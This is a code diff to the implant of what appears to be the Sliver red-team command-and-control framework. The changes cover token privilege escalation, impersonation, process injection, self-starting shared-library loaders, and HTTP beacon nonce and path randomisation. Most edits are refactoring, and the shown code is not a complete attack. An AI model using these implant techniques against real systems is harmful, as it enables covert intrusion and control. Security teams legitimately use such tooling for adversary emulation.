//r, a, e := procOpenProcessToken.Call(
|
||||
thsHandle, // HANDLE ProcessHandle,
|
||||
@@ -74,7 +72,7 @@ func SePrivEnable(s string) error {
|
||||
&tokenHandle, // PHANDLE TokenHandle
|
||||
)
|
||||
var luid windows.LUID
|
||||
err = windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr(s), &luid)
|
||||
err := windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr(s), &luid)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("LookupPrivilegeValueW failed", err)
|
||||
@@ -215,7 +213,9 @@ func impersonateUser(username string) (token windows.Token, err error) {
|
||||
err = fmt.Errorf("username can't be empty")
|
||||
return
|
||||
}
|
||||
p, err := ps.Processes()
|
||||
|
||||
// We do not need full process info here, just PID and executable name
|
||||
p, err := ps.Processes(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@@ -422,7 +422,9 @@ func Impersonate(username string) (token windows.Token, err error) {
|
||||
func GetSystem(data []byte, hostingProcess string) (err error) {
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
procs, _ := ps.Processes()
|
||||
|
||||
// Just need PID, not all info
|
||||
procs, _ := ps.Processes(false)
|
||||
for _, p := range procs {
|
||||
if p.Executable() == hostingProcess {
|
||||
err = SePrivEnable("SeDebugPrivilege")
|
||||
@@ -556,14 +558,7 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
|
||||
var tokenInfoBufferSize uint32
|
||||
|
||||
// Get a handle for the current process
|
||||
currentProcHandle, err := windows.GetCurrentProcess()
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Could not get a handle for the current process: ", err)
|
||||
// {{end}}
|
||||
return nil, integrity, processName, err
|
||||
}
|
||||
currentProcHandle := windows.CurrentProcess()
|
||||
|
||||
// Get the PID for the current process
|
||||
sessionPID, err := windows.GetProcessId(currentProcHandle)
|
||||
@@ -574,8 +569,8 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
|
||||
log.Println("Could not get PID for current process: ", err)
|
||||
// {{end}}
|
||||
} else {
|
||||
// Get process info for the current PID
|
||||
processInformation, err := ps.FindProcess(int(sessionPID))
|
||||
// Get process info for the current PID, do not need full info
|
||||
processInformation, err := ps.FindProcess(int(sessionPID), false)
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -36,16 +36,16 @@ type Process interface {
|
||||
// called. Some operating systems don't provide snapshot capability of the
|
||||
// process table, in which case the process table returned might contain
|
||||
// ephemeral entities that happened to be running when this was called.
|
||||
func Processes() ([]Process, error) {
|
||||
return processes()
|
||||
func Processes(fullInfo bool) ([]Process, error) {
|
||||
return processes(fullInfo)
|
||||
}
|
||||
|
||||
// FindProcess looks up a single process by pid.
|
||||
//
|
||||
// Process will be nil and error will be nil if a matching process is
|
||||
// not found.
|
||||
func FindProcess(pid int) (Process, error) {
|
||||
return findProcess(pid)
|
||||
func FindProcess(pid int, fullInfo bool) (Process, error) {
|
||||
return findProcess(pid, fullInfo)
|
||||
}
|
||||
|
||||
// Kill finds a process from a PID and terminates it.
|
||||
|
||||
@@ -48,8 +48,8 @@ func (p *DarwinProcess) Architecture() string {
|
||||
return p.arch
|
||||
}
|
||||
|
||||
func findProcess(pid int) (Process, error) {
|
||||
ps, err := processes()
|
||||
func findProcess(pid int, fullInfo bool) (Process, error) {
|
||||
ps, err := processes(fullInfo)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -63,7 +63,7 @@ func findProcess(pid int) (Process, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func processes() ([]Process, error) {
|
||||
func processes(fullInfo bool) ([]Process, error) {
|
||||
var owner string
|
||||
buf, _, err := procInfoSyscall()
|
||||
if err != nil {
|
||||
@@ -92,29 +92,39 @@ func processes() ([]Process, error) {
|
||||
binPath, _ = pCommReader.ReadString(0x00)
|
||||
}
|
||||
binPath = strings.TrimSuffix(binPath, "\x00") // Trim the null byte
|
||||
// Discard the error: if the call errors out, we'll just have an empty argv slice
|
||||
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
|
||||
|
||||
uid := fmt.Sprintf("%d", p.Eproc.Ucred.Uid)
|
||||
u, err := user.LookupId(uid)
|
||||
if err != nil {
|
||||
owner = uid
|
||||
if fullInfo {
|
||||
// Discard the error: if the call errors out, we'll just have an empty argv slice
|
||||
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
|
||||
|
||||
uid := fmt.Sprintf("%d", p.Eproc.Ucred.Uid)
|
||||
u, err := user.LookupId(uid)
|
||||
if err != nil {
|
||||
owner = uid
|
||||
} else {
|
||||
owner = u.Username
|
||||
}
|
||||
if owner == "" {
|
||||
owner = uid
|
||||
}
|
||||
arch := ""
|
||||
|
||||
darwinProcs[i] = &DarwinProcess{
|
||||
pid: int(p.Proc.P_pid),
|
||||
ppid: int(p.Eproc.Ppid),
|
||||
binary: binPath,
|
||||
owner: owner,
|
||||
cmdLine: cmdLine,
|
||||
arch: arch,
|
||||
}
|
||||
} else {
|
||||
owner = u.Username
|
||||
darwinProcs[i] = &DarwinProcess{
|
||||
pid: int(p.Proc.P_pid),
|
||||
ppid: int(p.Eproc.Ppid),
|
||||
binary: binPath,
|
||||
}
|
||||
}
|
||||
if owner == "" {
|
||||
owner = uid
|
||||
}
|
||||
arch := ""
|
||||
|
||||
darwinProcs[i] = &DarwinProcess{
|
||||
pid: int(p.Proc.P_pid),
|
||||
ppid: int(p.Eproc.Ppid),
|
||||
binary: binPath,
|
||||
owner: owner,
|
||||
cmdLine: cmdLine,
|
||||
arch: arch,
|
||||
}
|
||||
}
|
||||
|
||||
return darwinProcs, nil
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
//go:build linux
|
||||
// +build linux
|
||||
|
||||
package ps
|
||||
@@ -151,8 +152,8 @@ func (p *UnixProcess) Refresh() error {
|
||||
return err
|
||||
}
|
||||
|
||||
func findProcess(pid int) (Process, error) {
|
||||
ps, err := processes()
|
||||
func findProcess(pid int, fullInfo bool) (Process, error) {
|
||||
ps, err := processes(fullInfo)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -164,7 +165,7 @@ func findProcess(pid int) (Process, error) {
|
||||
return nil, fmt.Errorf("no process found for pid %d", pid)
|
||||
}
|
||||
|
||||
func processes() ([]Process, error) {
|
||||
func processes(fullInfo bool) ([]Process, error) {
|
||||
d, err := os.Open("/proc")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -201,6 +202,10 @@ func processes() ([]Process, error) {
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if !fullInfo {
|
||||
results = append(results, p)
|
||||
continue
|
||||
}
|
||||
p.owner, err = getProcessOwner(int(pid))
|
||||
if err != nil {
|
||||
continue
|
||||
|
||||
@@ -5,12 +5,13 @@ package ps
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
"golang.org/x/sys/windows"
|
||||
"runtime"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// WindowsProcess is an implementation of Process for Windows.
|
||||
@@ -52,7 +53,7 @@ func (p *WindowsProcess) SessionID() int {
|
||||
return p.sessionID
|
||||
}
|
||||
|
||||
func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {
|
||||
func newWindowsProcess(e *syscall.ProcessEntry32, fullInfo bool) *WindowsProcess {
|
||||
// Find when the string ends for decoding
|
||||
end := 0
|
||||
for {
|
||||
@@ -61,24 +62,33 @@ func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {
|
||||
}
|
||||
end++
|
||||
}
|
||||
account, _ := getProcessOwner(e.ProcessID)
|
||||
sessionID, _ := getSessionID(e.ProcessID)
|
||||
cmdLine, _ := getCmdLine(e.ProcessID)
|
||||
arch, _ := getProcessArchitecture(e.ProcessID)
|
||||
|
||||
return &WindowsProcess{
|
||||
pid: int(e.ProcessID),
|
||||
ppid: int(e.ParentProcessID),
|
||||
exe: syscall.UTF16ToString(e.ExeFile[:end]),
|
||||
owner: account,
|
||||
cmdLine: cmdLine,
|
||||
arch: arch,
|
||||
sessionID: sessionID,
|
||||
if fullInfo {
|
||||
account, _ := getProcessOwner(e.ProcessID)
|
||||
sessionID, _ := getSessionID(e.ProcessID)
|
||||
cmdLine, _ := getCmdLine(e.ProcessID)
|
||||
arch, _ := getProcessArchitecture(e.ProcessID)
|
||||
|
||||
return &WindowsProcess{
|
||||
pid: int(e.ProcessID),
|
||||
ppid: int(e.ParentProcessID),
|
||||
exe: syscall.UTF16ToString(e.ExeFile[:end]),
|
||||
owner: account,
|
||||
cmdLine: cmdLine,
|
||||
arch: arch,
|
||||
sessionID: sessionID,
|
||||
}
|
||||
} else {
|
||||
return &WindowsProcess{
|
||||
pid: int(e.ProcessID),
|
||||
ppid: int(e.ParentProcessID),
|
||||
exe: syscall.UTF16ToString(e.ExeFile[:end]),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func findProcess(pid int) (Process, error) {
|
||||
ps, err := processes()
|
||||
func findProcess(pid int, fullInfo bool) (Process, error) {
|
||||
ps, err := processes(fullInfo)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -125,7 +135,7 @@ func getProcessOwner(pid uint32) (owner string, err error) {
|
||||
return
|
||||
}
|
||||
defer syscall.CloseHandle(handle)
|
||||
|
||||
|
||||
var token syscall.Token
|
||||
if err = syscall.OpenProcessToken(handle, syscall.TOKEN_QUERY, &token); err != nil {
|
||||
return
|
||||
@@ -141,7 +151,7 @@ func getProcessOwner(pid uint32) (owner string, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func processes() ([]Process, error) {
|
||||
func processes(fullInfo bool) ([]Process, error) {
|
||||
handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -156,7 +166,7 @@ func processes() ([]Process, error) {
|
||||
|
||||
results := make([]Process, 0, 50)
|
||||
for {
|
||||
results = append(results, newWindowsProcess(&entry))
|
||||
results = append(results, newWindowsProcess(&entry, fullInfo))
|
||||
|
||||
err = syscall.Process32Next(handle, &entry)
|
||||
if err != nil {
|
||||
@@ -249,7 +259,6 @@ func getCmdLine(pid uint32) ([]string, error) {
|
||||
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
|
||||
}
|
||||
|
||||
|
||||
err = syscall.CloseHandle(proc)
|
||||
if err != nil {
|
||||
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
|
||||
@@ -269,7 +278,7 @@ func getProcessArchitecture(pid uint32) (string, error) {
|
||||
nativeArch = "x86_64"
|
||||
} else {
|
||||
var is64Bit bool
|
||||
pHandle, _ := windows.GetCurrentProcess()
|
||||
pHandle := windows.CurrentProcess()
|
||||
if uint(pHandle) == 0 {
|
||||
nativeArch = ""
|
||||
} else if err := windows.IsWow64Process(pHandle, &is64Bit); err != nil {
|
||||
|
||||
+12
-7
@@ -3,11 +3,13 @@
|
||||
#ifdef __WIN32
|
||||
#include <windows.h>
|
||||
|
||||
void StartW();
|
||||
// {{range .Config.Exports}}
|
||||
void {{.}}();
|
||||
// {{end}}
|
||||
|
||||
DWORD WINAPI Start()
|
||||
{
|
||||
StartW();
|
||||
{{ (index .Config.Exports 0) }}();
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -43,27 +45,30 @@ BOOL WINAPI DllMain(
|
||||
#elif __linux__
|
||||
#include <stdlib.h>
|
||||
|
||||
void StartW();
|
||||
// {{range .Config.Exports}}
|
||||
void {{.}}();
|
||||
// {{end}}
|
||||
|
||||
static void init(int argc, char **argv, char **envp)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
unsetenv("LD_PARAMS");
|
||||
// {{if .Config.RunAtLoad}}
|
||||
StartW();
|
||||
{{ (index .Config.Exports 0) }}();
|
||||
// {{end}}
|
||||
}
|
||||
__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
|
||||
#elif __APPLE__
|
||||
#include <stdlib.h>
|
||||
void StartW();
|
||||
|
||||
// {{range .Config.Exports}}
|
||||
void {{.}}();
|
||||
// {{end}}
|
||||
__attribute__((constructor)) static void init(int argc, char **argv, char **envp)
|
||||
{
|
||||
unsetenv("DYLD_INSERT_LIBRARIES");
|
||||
unsetenv("LD_PARAMS");
|
||||
// {{if .Config.RunAtLoad}}
|
||||
StartW();
|
||||
{{ (index .Config.Exports 0) }}();
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
|
||||
@@ -113,42 +113,15 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
|
||||
// {{if or .Config.IsSharedLib .Config.IsShellcode}}
|
||||
var isRunning bool = false
|
||||
|
||||
// StartW - Export for shared lib build
|
||||
//
|
||||
//export StartW
|
||||
func StartW() {
|
||||
// {{range .Config.Exports}}
|
||||
//export {{.}}
|
||||
func {{.}} () {
|
||||
if !isRunning {
|
||||
isRunning = true
|
||||
main()
|
||||
}
|
||||
}
|
||||
|
||||
// Thanks Ne0nd0g for those
|
||||
//https://github.com/Ne0nd0g/merlin/blob/master/cmd/merlinagentdll/main.go#L65
|
||||
|
||||
// VoidFunc is an exported function used with PowerSploit's Invoke-ReflectivePEInjection.ps1
|
||||
//
|
||||
//export VoidFunc
|
||||
func VoidFunc() { main() }
|
||||
|
||||
// DllInstall is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /n /i sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846(v=vs.85).aspx
|
||||
//
|
||||
//export DllInstall
|
||||
func DllInstall() { main() }
|
||||
|
||||
// DllRegisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
|
||||
//
|
||||
//export DllRegisterServer
|
||||
func DllRegisterServer() { main() }
|
||||
|
||||
// DllUnregisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /u sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
|
||||
//
|
||||
//export DllUnregisterServer
|
||||
func DllUnregisterServer() { main() }
|
||||
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
|
||||
func main() {
|
||||
|
||||
@@ -144,13 +144,7 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
|
||||
if processHandle == 0 {
|
||||
return err
|
||||
}
|
||||
currentProcHandle, err := windows.GetCurrentProcess()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("GetCurrentProcess failed")
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
currentProcHandle := windows.CurrentProcess()
|
||||
err = windows.DuplicateHandle(processHandle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -314,13 +308,8 @@ func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uin
|
||||
}
|
||||
defer windows.CloseHandle(handle)
|
||||
defer windows.CloseHandle(lpTargetHandle)
|
||||
currentProcHandle, err := windows.GetCurrentProcess()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("GetCurrentProcess failed")
|
||||
// {{end}}
|
||||
return "", err
|
||||
}
|
||||
currentProcHandle := windows.CurrentProcess()
|
||||
|
||||
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -366,13 +355,7 @@ func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, o
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
currentProcHandle, err := windows.GetCurrentProcess()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("GetCurrentProcess failed")
|
||||
// {{end}}
|
||||
return "", err
|
||||
}
|
||||
currentProcHandle := windows.CurrentProcess()
|
||||
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -29,6 +29,7 @@ import (
|
||||
insecureRand "math/rand"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
@@ -50,6 +51,8 @@ var (
|
||||
|
||||
userAgent = "{{GenerateUserAgent}}"
|
||||
NonceQueryArgChars = "{{.HTTPC2ImplantConfig.NonceQueryArgChars}}" // "abcdefghijklmnopqrstuvwxyz"
|
||||
NonceQueryLength = "{{.HTTPC2ImplantConfig.NonceQueryLength}}" // 8
|
||||
NonceMode = "{{.HTTPC2ImplantConfig.NonceMode}}" // Url or UrlParam
|
||||
|
||||
ErrClosed = errors.New("http session closed")
|
||||
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
|
||||
@@ -196,17 +199,35 @@ func (s *SliverHTTPClient) SessionInit() error {
|
||||
|
||||
// NonceQueryArgument - Adds a nonce query argument to the URL
|
||||
func (s *SliverHTTPClient) NonceQueryArgument(uri *url.URL, value uint64) *url.URL {
|
||||
values := uri.Query()
|
||||
key := NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))]
|
||||
argValue := fmt.Sprintf("%d", value)
|
||||
for i := 0; i < insecureRand.Intn(3); i++ {
|
||||
index := insecureRand.Intn(len(argValue))
|
||||
char := string(NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))])
|
||||
argValue = argValue[:index] + char + argValue[index:]
|
||||
}
|
||||
values.Add(string(key), argValue)
|
||||
uri.RawQuery = values.Encode()
|
||||
return uri
|
||||
|
||||
if NonceMode == "UrlParam" {
|
||||
values := uri.Query()
|
||||
var key string
|
||||
length, _ := strconv.Atoi(NonceQueryLength)
|
||||
for i := 0; i < length; i++ {
|
||||
key += string(NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))])
|
||||
}
|
||||
|
||||
values.Add(string(key), argValue)
|
||||
uri.RawQuery = values.Encode()
|
||||
return uri
|
||||
} else {
|
||||
segments := strings.Split(uri.Path, "/")
|
||||
extension := path.Ext(segments[len(segments)-1])
|
||||
index := insecureRand.Intn(len(segments))
|
||||
segments[index] = argValue
|
||||
if index == len(segments)-1 {
|
||||
segments[index] += extension
|
||||
}
|
||||
uri.Path = strings.Join(segments, "/")
|
||||
return uri
|
||||
}
|
||||
}
|
||||
|
||||
// OTPQueryArgument - Adds an OTP query argument to the URL
|
||||
@@ -283,7 +304,7 @@ func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.R
|
||||
}
|
||||
queryParams := req.URL.Query()
|
||||
for _, param := range extraURLParams {
|
||||
if len(param.Method)>0 && param.Method != method {
|
||||
if len(param.Method) > 0 && param.Method != method {
|
||||
continue
|
||||
}
|
||||
probability, _ := strconv.Atoi(param.Probability)
|
||||
@@ -429,7 +450,7 @@ func (s *SliverHTTPClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
if s.SessionID == "" {
|
||||
return nil, errors.New("no session")
|
||||
}
|
||||
uri := s.parseSegments(0)
|
||||
uri := s.parseSegments()
|
||||
nonce, encoder := encoders.RandomEncoder(0)
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
@@ -504,7 +525,7 @@ func (s *SliverHTTPClient) WriteEnvelope(envelope *pb.Envelope) error {
|
||||
return err
|
||||
}
|
||||
|
||||
uri := s.parseSegments(1)
|
||||
uri := s.parseSegments()
|
||||
nonce, encoder := encoders.RandomEncoder(len(reqData))
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
encodedValue, _ := encoder.Encode(reqData)
|
||||
@@ -552,7 +573,7 @@ func (s *SliverHTTPClient) CloseSession() error {
|
||||
s.pollCancel = nil
|
||||
|
||||
// Tell server session is closed
|
||||
uri := s.parseSegments(2)
|
||||
uri := s.parseSegments()
|
||||
nonce, _ := encoders.RandomEncoder(0)
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
@@ -588,74 +609,43 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
|
||||
return strings.Join(segments, "/")
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) parseSegments(segmentType int) *url.URL {
|
||||
func (s *SliverHTTPClient) parseSegments() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
var (
|
||||
pollFiles []string
|
||||
pollPaths []string
|
||||
sessionFiles []string
|
||||
sessionPaths []string
|
||||
closePaths []string
|
||||
closeFiles []string
|
||||
files []string
|
||||
paths []string
|
||||
extensions []string
|
||||
)
|
||||
|
||||
// {{range .HTTPC2ImplantConfig.PathSegments}}
|
||||
// {{if eq .SegmentType 0 }}
|
||||
// {{if .IsFile}}
|
||||
pollFiles = append(pollFiles, "{{.Value}}")
|
||||
files = append(files, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{if not .IsFile }}
|
||||
pollPaths = append(pollPaths, "{{.Value}}")
|
||||
paths = append(paths, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
|
||||
// {{if eq .SegmentType 1}}
|
||||
// {{if .IsFile}}
|
||||
sessionFiles = append(sessionFiles, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{if not .IsFile }}
|
||||
sessionPaths = append(sessionPaths, "{{.Value}}")
|
||||
// {{range $extension := .HTTPC2ImplantConfig.Extensions}}
|
||||
extensions = append(extensions, "{{$extension}}")
|
||||
// {{end}}
|
||||
|
||||
// {{end}}
|
||||
// {{if eq .SegmentType 2}}
|
||||
// {{if .IsFile}}
|
||||
closeFiles = append(closeFiles, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{if not .IsFile }}
|
||||
closePaths = append(closePaths, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
|
||||
switch segmentType {
|
||||
case 0:
|
||||
curl.Path = s.pathJoinURL(s.randomPath(pollPaths, pollFiles, "{{ .HTTPC2ImplantConfig.PollFileExtension }}"))
|
||||
case 1:
|
||||
curl.Path = s.pathJoinURL(s.randomPath(sessionPaths, sessionFiles, "{{ .HTTPC2ImplantConfig.SessionFileExtension }}"))
|
||||
case 2:
|
||||
curl.Path = s.pathJoinURL(s.randomPath(closePaths, closeFiles, "{{.HTTPC2ImplantConfig.CloseFileExtension}}"))
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(paths, files, extensions))
|
||||
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) startSessionURL() *url.URL {
|
||||
sessionURI := s.parseSegments(1)
|
||||
uri := strings.TrimSuffix(sessionURI.String(), "{{ .HTTPC2ImplantConfig.SessionFileExtension }}")
|
||||
uri += "{{ .HTTPC2ImplantConfig.StartSessionFileExtension }}"
|
||||
curl, _ := url.Parse(uri)
|
||||
curl := s.parseSegments()
|
||||
return curl
|
||||
}
|
||||
|
||||
// Must return at least a file name, path segments are optional
|
||||
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext string) []string {
|
||||
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, exts []string) []string {
|
||||
genSegments := []string{}
|
||||
if 0 < len(segments) {
|
||||
min, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MinPaths}}")
|
||||
max, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MaxPaths}}")
|
||||
min, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MinPathLength}}")
|
||||
max, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MaxPathLength}}")
|
||||
n := insecureRand.Intn(max-min+1) + min // How many segments?
|
||||
for index := 0; index < n; index++ {
|
||||
seg := segments[insecureRand.Intn(len(segments))]
|
||||
@@ -663,11 +653,14 @@ func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext
|
||||
}
|
||||
}
|
||||
filename := filenames[insecureRand.Intn(len(filenames))]
|
||||
ext := exts[insecureRand.Intn(len(exts))]
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] segments = %v, filename = %s, ext = %s", genSegments, filename, ext)
|
||||
// {{end}}
|
||||
genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
|
||||
if ext != "" {
|
||||
genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
|
||||
}
|
||||
return genSegments
|
||||
}
|
||||
|
||||
|
||||
@@ -329,7 +329,7 @@ func (p *NetConnPivotClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
data, err = p.peerCipherCtx.Decrypt(data)
|
||||
data, err = p.peerCipherCtx.DecryptWithoutSignatureCheck(data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Peer decryption error: %s", err)
|
||||
|
||||
@@ -81,16 +81,16 @@ func getOSVersion() string {
|
||||
arch = "x86_64"
|
||||
} else {
|
||||
var is64Bit bool
|
||||
pHandle, _ := windows.GetCurrentProcess()
|
||||
pHandle := windows.CurrentProcess()
|
||||
if uint(pHandle) == 0 {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("error getting OS version: error getting current process handle: %v")
|
||||
log.Printf("error getting OS version: error getting current process handle")
|
||||
//{{end}}
|
||||
arch = "<error getting arch>"
|
||||
}
|
||||
if err := windows.IsWow64Process(pHandle, &is64Bit); err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("error getting OS version: error checking if running in WOW: %v")
|
||||
log.Printf("error getting OS version: error checking if running in WOW: %v", err)
|
||||
//{{end}}
|
||||
arch = "<error getting arch>"
|
||||
} else {
|
||||
|
||||
+3025
-5036
File diff suppressed because it is too large.
Load diff
@@ -182,11 +182,13 @@ message ImplantConfig {
|
||||
bool IsShellcode = 104;
|
||||
bool RunAtLoad = 105;
|
||||
string DebugFile = 106;
|
||||
repeated string exports = 107;
|
||||
|
||||
string HTTPC2ConfigName = 150;
|
||||
bool NetGoEnabled = 151;
|
||||
bool TrafficEncodersEnabled = 152;
|
||||
repeated string TrafficEncoders = 153;
|
||||
string Extension = 154;
|
||||
|
||||
repeated commonpb.File Assets = 200;
|
||||
}
|
||||
@@ -357,6 +359,7 @@ message ListenerJob {
|
||||
DNSListenerReq DNSConf = 6;
|
||||
HTTPListenerReq HTTPConf = 7;
|
||||
MultiplayerListenerReq MultiConf = 8;
|
||||
StagerListenerReq TCPConf = 9;
|
||||
}
|
||||
|
||||
message MultiplayerListenerReq {
|
||||
@@ -489,10 +492,7 @@ message StagerListenerReq {
|
||||
string Host = 2;
|
||||
uint32 Port = 3;
|
||||
bytes Data = 4;
|
||||
bytes Cert = 5;
|
||||
bytes Key = 6;
|
||||
bool ACME = 7;
|
||||
string ProfileName = 8;
|
||||
string ProfileName = 5;
|
||||
}
|
||||
|
||||
message StagerListener { uint32 JobID = 1; }
|
||||
@@ -505,19 +505,6 @@ message ShellcodeRDIReq {
|
||||
|
||||
message ShellcodeRDI { bytes Data = 1; }
|
||||
|
||||
message MsfStagerReq {
|
||||
string Arch = 1;
|
||||
string Format = 2;
|
||||
uint32 Port = 3;
|
||||
string Host = 4;
|
||||
string OS = 5; // reserved for future usage
|
||||
StageProtocol Protocol = 6;
|
||||
repeated string BadChars = 7;
|
||||
string HTTPC2ConfigName = 9;
|
||||
}
|
||||
|
||||
message MsfStager { commonpb.File File = 1; }
|
||||
|
||||
// GetSystemReq - Client request to the server which is translated into
|
||||
// InvokeSystemReq when sending to the implant.
|
||||
message GetSystemReq {
|
||||
@@ -780,18 +767,18 @@ message HTTPC2ImplantConfig {
|
||||
repeated HTTPC2URLParameter ExtraURLParameters = 6;
|
||||
repeated HTTPC2Header Headers = 7;
|
||||
|
||||
int32 MaxFiles = 8;
|
||||
int32 MinFiles = 9;
|
||||
int32 MaxPaths = 10;
|
||||
int32 MinPaths = 11;
|
||||
int32 MaxFileGen = 8;
|
||||
int32 MinFileGen = 9;
|
||||
int32 MaxPathGen = 10;
|
||||
int32 MinPathGen = 11;
|
||||
int32 MaxPathLength = 12;
|
||||
int32 MinPathLength = 13;
|
||||
|
||||
string StagerFileExtension = 12;
|
||||
string PollFileExtension = 13;
|
||||
string StartSessionFileExtension = 14;
|
||||
string SessionFileExtension = 15;
|
||||
string CloseFileExtension = 16;
|
||||
repeated string extensions = 14;
|
||||
|
||||
repeated HTTPC2PathSegment PathSegments = 17;
|
||||
int32 NonceQueryLength = 18;
|
||||
string NonceMode =19;
|
||||
}
|
||||
|
||||
message HTTPC2Cookie {
|
||||
@@ -828,8 +815,7 @@ message HTTPC2PathSegment {
|
||||
string ID = 1;
|
||||
|
||||
bool IsFile = 2;
|
||||
HTTPC2SegmentType SegmentType = 3;
|
||||
string Value = 4;
|
||||
string Value = 3;
|
||||
}
|
||||
|
||||
// [ Credentials ] ----------------------------------------
|
||||
|
||||
+58
-149
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
